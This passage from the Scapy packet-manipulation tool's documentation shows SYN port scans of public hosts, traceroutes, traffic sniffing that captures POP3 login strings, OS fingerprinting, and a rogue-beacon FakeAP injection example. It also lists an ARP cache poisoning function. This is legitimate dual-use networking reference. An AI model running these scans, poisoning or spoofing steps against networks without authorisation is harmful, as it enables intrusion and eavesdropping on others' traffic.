wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions:: >>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23])) Received 6 packets, got 3 answers, remaining 0 packets (, ) >>> ans,unans=_ >>> ans.summary() IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding If there is a limited rate of answers, you can specify a time interval to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, scapy will try to resend unanswered packets 3 times. If retry is -3, scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent:: >>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1) Begin emission: Finished to send 12 packets. Begin emission: Finished to send 9 packets. Begin emission: Finished to send 9 packets. Received 100 packets, got 3 answers, remaining 9 packets (, ) SYN Scans --------- .. index:: single: SYN Scan Classic SYN Scan can be initialized by executing the following command from Scapy's prompt:: >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S")) The above will send a single SYN packet to Google's port 80 and will quit after receiving a single response:: Begin emission: .Finished to send 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets >> From the above output, we can see Google returned “SA” or SYN-ACK flags indicating an open port. Use either notations to scan ports 400 through 443 on the system: >>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S")) or >>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S")) In order to quickly review responses simply request a summary of collected packets:: >>> ans,unans = _ >>> ans.summary() IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding The above will display stimulus/response pairs for answered probes. We can display only the information we are interested in by using a simple loop: >>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") ) 440 RA 441 RA 442 RA https SA Even better, a table can be built using the ``make_table()`` function to display information about multiple targets:: >>> ans,unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S")) Begin emission: .......*.**.......Finished to send 9 packets. **.*.*..*.................. Received 362 packets, got 8 answers, remaining 1 packets >>> ans.make_table( ... lambda(s,r): (s.dst, s.dport, ... r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}"))) 66.35.250.150 192.168.1.1 216.109.112.135 22 66.35.250.150 - dest-unreach RA - 80 SA RA SA 443 SA SA SA The above example will even print the ICMP error type if the ICMP packet was received as a response instead of expected TCP. For larger scans, we could be interested in displaying only certain responses. The example below will only display packets with the “SA” flag set:: >>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA") 0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA In case we want to do some expert analysis of responses, we can use the following command to indicate which ports are open:: >>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open")) https is open Again, for larger scans we can build a table of open ports:: >>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r): ... (s.dst, s.dport, "X")) 66.35.250.150 192.168.1.1 216.109.112.135 80 X - X 443 X X X If all of the above methods were not enough, Scapy includes a report_ports() function which not only automates the SYN scan, but also produces a LaTeX output with collected results:: >>> report_ports("192.168.1.1",(440,443)) Begin emission: ...*.**Finished to send 4 packets. * Received 8 packets, got 4 answers, remaining 0 packets '\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440 & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed & TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n' TCP traceroute -------------- .. index:: single: Traceroute A TCP traceroute:: >>> ans,unans=sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2)) *****.******.*.***..*.**Finished to send 22 packets. ***...... Received 33 packets, got 21 answers, remaining 1 packets >>> for snd,rcv in ans: ... print snd.ttl, rcv.src, isinstance(rcv.payload, TCP) ... 5 194.51.159.65 0 6 194.51.159.49 0 4 194.250.107.181 0 7 193.251.126.34 0 8 193.251.126.154 0 9 193.251.241.89 0 10 193.251.241.110 0 11 193.251.241.173 0 13 208.172.251.165 0 12 193.251.241.173 0 14 208.172.251.165 0 15 206.24.226.99 0 16 206.24.238.34 0 17 173.109.66.90 0 18 173.109.88.218 0 19 173.29.39.101 1 20 173.29.39.101 1 21 173.29.39.101 1 22 173.29.39.101 1 23 173.29.39.101 1 24 173.29.39.101 1 Note that the TCP traceroute and some other high-level functions are already coded:: >>> lsc() sr : Send and receive packets at layer 3 sr1 : Send packets at layer 3 and return only the first answer srp : Send and receive packets at layer 2 srp1 : Send and receive packets at layer 2 and return only the first answer srloop : Send a packet at layer 3 in loop and print the answer each time srploop : Send a packet at layer 2 in loop and print the answer each time sniff : Sniff packets p0f : Passive OS fingerprinting: which OS emitted this TCP SYN ? arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple send : Send packets at layer 3 sendp : Send packets at layer 2 traceroute : Instant TCP traceroute arping : Send ARP who-has requests to determine which hosts are up ls : List available layers, or infos on a given layer lsc : List user commands queso : Queso OS fingerprinting nmap_fp : nmap fingerprinting report_ports : portscan a target and output a LaTeX table dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_del : Send a DNS delete message to a nameserver for "name" [...] Configuring super sockets ------------------------- .. index:: single: super socket The process of sending packets and receiving is quite complicated. As I wanted to use the PF_PACKET interface to go through netfilter, I also needed to implement an ARP stack and ARP cache, and a LL stack. Well it seems to work, on ethernet and PPP interfaces, but I don't guarantee anything. Anyway, the fact I used a kind of super-socket for that mean that you can switch your IO layer very easily, and use PF_INET/SOCK_RAW, or use PF_PACKET at level 2 (giving the LL header (ethernet,...) and giving yourself mac addresses, ...). I've just added a super socket which use libdnet and libpcap, so that it should be portable:: >>> conf.L3socket=L3dnetSocket >>> conf.L3listen=L3pcapListenSocket Sniffing -------- .. index:: single: sniff() We can easily capture some packets or even clone tcpdump or tshark. Either one interface or a list of interfaces to sniff on can be provided. If no interface is given, sniffing will happen on every interface:: >>> sniff(filter="icmp and host 66.35.250.151", count=2) >>> a=_ >>> a.nsummary() 0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw 0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw >>> a[1] >>> >>> sniff(iface="wifi0", prn=lambda x: x.summary()) 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication 802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication 802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149 802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133 802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding 802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding 802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw 802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw >>> sniff(iface="eth1", prn=lambda x: x.show()) ---[ Ethernet ]--- dst = 00:ae:f3:52:aa:d1 src = 00:02:15:37:a2:44 type = 0x800 ---[ IP ]--- version = 4L ihl = 5L tos = 0x0 len = 84 id = 0 flags = DF frag = 0L ttl = 64 proto = ICMP chksum = 0x3831 src = 192.168.5.21 dst = 66.35.250.151 options = '' ---[ ICMP ]--- type = echo-request code = 0 chksum = 0x89d9 id = 0xc245 seq = 0x0 ---[ Raw ]--- load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' ---[ Ethernet ]--- dst = 00:02:15:37:a2:44 src = 00:ae:f3:52:aa:d1 type = 0x800 ---[ IP ]--- version = 4L ihl = 5L tos = 0x0 len = 84 id = 2070 flags = frag = 0L ttl = 42 proto = ICMP chksum = 0x861b src = 66.35.250.151 dst = 192.168.5.21 options = '' ---[ ICMP ]--- type = echo-reply code = 0 chksum = 0x91d9 id = 0xc245 seq = 0x0 ---[ Raw ]--- load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567' ---[ Padding ]--- load = '\n_\x00\x0b' >>> sniff(iface=["eth1","eth2"], prn=lambda x: x.sniffed_on+": "+x.summary()) eth3: Ether / IP / ICMP 192.168.5.21 > 66.35.250.151 echo-request 0 / Raw eth3: Ether / IP / ICMP 66.35.250.151 > 192.168.5.21 echo-reply 0 / Raw eth2: Ether / IP / ICMP 192.168.5.22 > 66.35.250.152 echo-request 0 / Raw eth2: Ether / IP / ICMP 66.35.250.152 > 192.168.5.22 echo-reply 0 / Raw For even more control over displayed information we can use the ``sprintf()`` function:: >>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}")) 192.168.1.100 -> 64.233.167.99 64.233.167.99 -> 192.168.1.100 192.168.1.100 -> 64.233.167.99 192.168.1.100 -> 64.233.167.99 'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml, text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language: en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nCache-Control: max-age=0\r\n\r\n' We can sniff and do passive OS fingerprinting:: >>> p >> >>> load_module("p0f") >>> p0f(p) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) >>> a=sniff(prn=prnp0f) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) (1.0, ['Linux 2.4.2 - 2.4.14 (1)']) (0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)']) (1.0, ['Windows 2000 (9)']) The number before the OS guess is the accuracy of the guess. Filters ------- .. index:: single: filter, sprintf() Demo of both bpf filter and sprintf() method:: >>> a=sniff(filter="tcp and ( port 25 or port 110 )", prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%")) 192.168.8.10:47226 -> 213.228.0.14:110 S : 213.228.0.14:110 -> 192.168.8.10:47226 SA : 192.168.8.10:47226 -> 213.228.0.14:110 A : 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK <13103.1048117923@pop2-1.free.fr> 192.168.8.10:47226 -> 213.228.0.14:110 A : 192.168.8.10:47226 -> 213.228.0.14:110 PA : USER toto 213.228.0.14:110 -> 192.168.8.10:47226 A : 213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK 192.168.8.10:47226 -> 213.228.0.14:110 A : 192.168.8.10:47226 -> 213.228.0.14:110 PA : PASS tata 213.228.0.14:110 -> 192.168.8.10:47226 PA : -ERR authorization failed 192.168.8.10:47226 -> 213.228.0.14:110 A : 213.228.0.14:110 -> 192.168.8.10:47226 FA : 192.168.8.10:47226 -> 213.228.0.14:110 FA : 213.228.0.14:110 -> 192.168.8.10:47226 A : Send and receive in a loop -------------------------- .. index:: single: srloop() Here is an example of a (h)ping-like functionality : you always send the same set of packets to see if something change:: >>> srloop(IP(dst="www.target.com/30")/TCP()) RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S Importing and Exporting Data ---------------------------- PCAP ^^^^ It is often useful to save capture packets to pcap file for use at later time or with different applications:: >>> wrpcap("temp.cap",pkts) To restore previously saved pcap file: >>> pkts = rdpcap("temp.cap") or >>> pkts = sniff(offline="temp.cap") Hexdump ^^^^^^^ Scapy allows you to export recorded packets in various hex formats. Use ``hexdump()`` to display one or more packets using classic hexdump format:: >>> hexdump(pkt) 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E. 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 0060 36 37 67 Hexdump above can be reimported back into Scapy using ``import_hexcap()``:: >>> pkt_hex = Ether(import_hexcap()) 0000 00 50 56 FC CE 50 00 0C 29 2B 53 19 08 00 45 00 .PV..P..)+S...E. 0010 00 54 00 00 40 00 40 01 5A 7C C0 A8 19 82 04 02 .T..@.@.Z|...... 0020 02 01 08 00 9C 90 5A 61 00 01 E6 DA 70 49 B6 E5 ......Za....pI.. 0030 08 00 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 ................ 0040 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 .......... !"#$% 0050 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 &'()*+,-./012345 0060 36 37 67 >>> pkt_hex >>> Hex string ^^^^^^^^^^ You can also convert entire packet into a hex string using the ``str()`` function:: >>> pkts = sniff(count = 1) >>> pkt = pkts[0] >>> pkt >>> >>> pkt_str = str(pkt) >>> pkt_str '\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8 \x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00 \x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b \x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567' We can reimport the produced hex string by selecting the appropriate starting layer (e.g. ``Ether()``). >>> new_pkt = Ether(pkt_str) >>> new_pkt >>> Base64 ^^^^^^ Using the ``export_object()`` function, Scapy can export a base64 encoded Python data structure representing a packet:: >>> pkt >>> >>> export_object(pkt) eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6 ... The output above can be reimported back into Scapy using ``import_object()``:: >>> new_pkt = import_object() eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6 ... >>> new_pkt >>> Sessions ^^^^^^^^ At last Scapy is capable of saving all session variables using the ``save_session()`` function: >>> dir() ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts'] >>> save_session("session.scapy") Next time you start Scapy you can load the previous saved session using the ``load_session()`` command:: >>> dir() ['__builtins__', 'conf'] >>> load_session("session.scapy") >>> dir() ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts'] Making tables ------------- .. index:: single: tables, make_table() Now we have a demonstration of the ``make_table()`` presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants, ``make_lined_table()`` and ``make_tex_table()`` to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object : Here we can see a multi-parallel traceroute (scapy already has a multi TCP traceroute function. See later):: >>> ans,unans=sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP()) Received 49 packets, got 24 answers, remaining 0 packets >>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) ) 216.15.189.192 216.15.189.193 216.15.189.194 216.15.189.195 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 81.57.239.254 81.57.239.254 81.57.239.254 81.57.239.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 213.228.3.3 213.228.3.3 213.228.3.3 213.228.3.3 5 193.251.254.1 193.251.251.69 193.251.254.1 193.251.251.69 6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178 Here is a more complex example to identify machines from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack than 172.20.80.201 and that 172.20.80.197:25 is not answered by the sape IP stack than other ports on the same IP. :: >>> ans,unans=sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80])) Received 142 packets, got 25 answers, remaining 71 packets >>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%"))) 172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201 20 0 4203 7021 - 11562 21 0 4204 7022 - 11563 22 0 4205 7023 11561 11564 25 0 0 7024 - 11565 53 0 4207 7025 - 11566 80 0 4028 7026 - 11567 It can help identify network topologies very easily when playing with TTL, displaying received TTL, etc. Routing ------- .. index:: single: Routing, conf.route Now scapy has its own routing table, so that you can have your packets routed differently than the system:: >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.1 eth0 >>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1") >>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254") >>> conf.route.add(host="192.168.1.1",gw="192.168.8.1") >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.254 eth0 192.168.1.1 255.255.255.255 192.168.8.1 eth0 >>> conf.route.resync() >>> conf.route Network Netmask Gateway Iface 127.0.0.0 255.0.0.0 0.0.0.0 lo 192.168.8.0 255.255.255.0 0.0.0.0 eth0 0.0.0.0 0.0.0.0 192.168.8.1 eth0 Gnuplot ------- .. index:: single: Gnuplot, plot() We can easily plot some harvested values using Gnuplot. (Make sure that you have Gnuplot-py and Gnuplot installed.) For example, we can observe the IP ID patterns to know how many distinct IP stacks are used behind a load balancer:: >>> a,b=sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000)) >>> a.plot(lambda x:x[1].id) .. image:: graphics/ipid.png TCP traceroute (2) ------------------ .. index:: single: traceroute(), Traceroute Scapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, scapy sends all the packets at the same time. This has the disadvantage that it can't know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result:: >>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20) Received 80 packets, got 80 answers, remaining 0 packets 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.243.5.254 82.243.5.254 82.243.5.254 82.243.5.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 212.27.50.46 212.27.50.46 212.27.50.46 212.27.50.46 5 212.27.50.37 212.27.50.41 212.27.50.37 212.27.50.41 6 212.27.50.34 212.27.50.34 213.228.3.234 193.251.251.69 7 213.248.71.141 217.118.239.149 208.184.231.214 193.251.241.178 8 213.248.65.81 217.118.224.44 64.125.31.129 193.251.242.98 9 213.248.70.14 213.206.129.85 64.125.31.186 193.251.243.89 10 193.45.10.88 SA 213.206.128.160 64.125.29.122 193.251.254.126 11 193.45.10.88 SA 206.24.169.41 64.125.28.70 216.115.97.178 12 193.45.10.88 SA 206.24.226.99 64.125.28.209 66.218.64.146 13 193.45.10.88 SA 206.24.227.106 64.125.29.45 66.218.82.230 14 193.45.10.88 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 15 193.45.10.88 SA 216.109.120.149 64.124.229.109 66.94.229.254 SA 16 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 17 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 18 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 19 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA 20 193.45.10.88 SA 216.109.118.79 SA 64.241.242.243 SA 66.94.229.254 SA (, ) The last line is in fact a the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding. >>> result,unans=_ >>> result.show() 193.45.10.88:80 216.109.118.79:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 [...] >>> result.filter(lambda x: Padding in x[1]) Like any result object, traceroute objects can be added : >>> r2,unans=traceroute(["www.voila.com"],maxttl=20) Received 19 packets, got 19 answers, remaining 1 packets 195.101.94.25:80 1 192.168.8.1 2 82.251.4.254 3 213.228.4.254 4 212.27.50.169 5 212.27.50.162 6 193.252.161.97 7 193.252.103.86 8 193.252.103.77 9 193.252.101.1 10 193.252.227.245 12 195.101.94.25 SA 13 195.101.94.25 SA 14 195.101.94.25 SA 15 195.101.94.25 SA 16 195.101.94.25 SA 17 195.101.94.25 SA 18 195.101.94.25 SA 19 195.101.94.25 SA 20 195.101.94.25 SA >>> >>> r3=result+r2 >>> r3.show() 195.101.94.25:80 212.23.37.13:80 216.109.118.72:80 64.241.242.243:80 66.94.229.254:80 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 4 212.27.50.169 212.27.50.169 212.27.50.46 - 212.27.50.46 5 212.27.50.162 212.27.50.162 212.27.50.37 212.27.50.41 212.27.50.37 6 193.252.161.97 194.68.129.168 212.27.50.34 213.228.3.234 193.251.251.69 7 193.252.103.86 212.23.42.33 217.118.239.185 208.184.231.214 193.251.241.178 8 193.252.103.77 212.23.42.6 217.118.224.44 64.125.31.129 193.251.242.98 9 193.252.101.1 212.23.37.13 SA 213.206.129.85 64.125.31.186 193.251.243.89 10 193.252.227.245 212.23.37.13 SA 213.206.128.160 64.125.29.122 193.251.254.126 11 - 212.23.37.13 SA 206.24.169.41 64.125.28.70 216.115.97.178 12 195.101.94.25 SA 212.23.37.13 SA 206.24.226.100 64.125.28.209 216.115.101.46 13 195.101.94.25 SA 212.23.37.13 SA 206.24.238.166 64.125.29.45 66.218.82.234 14 195.101.94.25 SA 212.23.37.13 SA 216.109.74.30 64.125.31.214 66.94.229.254 SA 15 195.101.94.25 SA 212.23.37.13 SA 216.109.120.151 64.124.229.109 66.94.229.254 SA 16 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 17 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 18 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 19 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA 20 195.101.94.25 SA 212.23.37.13 SA 216.109.118.72 SA 64.241.242.243 SA 66.94.229.254 SA Traceroute result object also have a very neat feature: they can make a directed graph from all the routes they got, and cluster them by AS. You will need graphviz. By default, ImageMagick is used to display the graph. >>> res,unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2) Received 190 packets, got 190 answers, remaining 10 packets 193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80 207.46... 1 192.168.8.1 192.168.8.1 192.168.8.1 192.168.8.1 192.16... 2 82.251.4.254 82.251.4.254 82.251.4.254 82.251.4.254 82.251... 3 213.228.4.254 213.228.4.254 213.228.4.254 213.228.4.254 213.22... [...] >>> res.graph() # piped to ImageMagick's display program. Image below. >>> res.graph(type="ps",target="| lp") # piped to postscript printer >>> res.graph(target="> /tmp/graph.svg") # saved to file .. image:: graphics/graph_traceroute.png If you have VPython installed, you also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it's IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed:: >>> res.trace3D() .. image:: graphics/trace3d_1.png .. image:: graphics/trace3d_2.png Wireless frame injection ------------------------ .. index:: single: FakeAP, Dot11, wireless, WLAN Provided that your wireless card and driver are correctly configured for frame injection :: $ iw dev wlan0 interface add mon0 type monitor $ ifconfig mon0 up you can have a kind of FakeAP:: >>> sendp(RadioTap()/ Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2="00:01:02:03:04:05", addr3="00:01:02:03:04:05")/ Dot11Beacon(cap="ESS", timestamp=1)/ Dot11Elt(ID="SSID", info=RandString(RandNum(1,50)))/ Dot11Elt(ID="Rates", info='\x82\x84\x0b\x16')/ Dot11Elt(ID="DSset", info="\x03")/ Dot11Elt(ID="TIM", info="\x00\x01\x00\x00"), iface="mon0", loop=1) Depending on the driver, the commands needed to get a working frame injection interface may vary. You may also have to replace the first pseudo-layer (in the example 